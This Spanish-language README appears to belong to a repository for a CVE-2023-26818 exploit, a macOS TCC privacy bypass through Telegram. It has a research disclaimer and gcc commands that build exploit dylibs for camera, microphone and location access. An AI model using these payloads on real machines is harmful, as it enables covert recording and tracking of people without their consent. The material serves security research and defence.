Descargo de responsabilidad

Este exploit ha sido creado únicamente con fines de investigación y para el desarrollo de técnicas defensivas efectivas. No está destinado a ser utilizado para actividades maliciosas o no autorizadas. El autor y el propietario del script rechazan cualquier responsabilidad por el uso indebido o daños causados por este software. Se insta a los usuarios a utilizar este software de manera responsable y solo de acuerdo con las leyes y regulaciones aplicables. No para usos no éticos.

CVE-2023-26818

CVE-2023-26818 Exploit de omisión de TCC en MacOS con Telegram. Puede leer el análisis de vulnerabilidad Parte 1 y Parte 2 para la omisión del sandbox.

Video

Compilación y uso manual

Cámara

gcc -dynamiclib -framework Foundation -framework AVFoundation Camexploit.m -o Cam.dylib

Micrófono

gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

Ubicación

gcc -dynamiclib -framework Foundation -framework CoreLocation -framework AVFoundation Locexploit.m -o Locexploit.dylib